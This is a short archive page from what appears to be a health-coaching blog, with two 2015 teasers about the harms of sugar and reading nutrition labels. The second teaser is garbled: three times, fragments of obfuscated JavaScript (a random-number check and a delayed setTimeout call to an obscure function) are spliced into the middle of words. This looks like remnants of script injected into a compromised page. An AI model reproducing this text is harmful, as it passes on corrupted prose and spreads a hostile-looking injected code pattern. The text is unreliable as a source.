sugar

How Much Sugar Is Harmful?

February , 2015

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The first step to beating the sugar habit is knowing how much sugar is in everything. If you are not reading labels of the foods going into your body, the most important change you need to make first is to READ LABELS! The two most important places on a nutrition label is the ingredient list […]

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Is Sugar Destroying Your Health?

February , 2015

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Sugar was a hot topic this past week in our office. Those of you who attended our makeover heard first handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how sugar was causing you to gain weight, giving you pain, making you depressed, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and putting you on a fast path to disease. After coaching thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands […]

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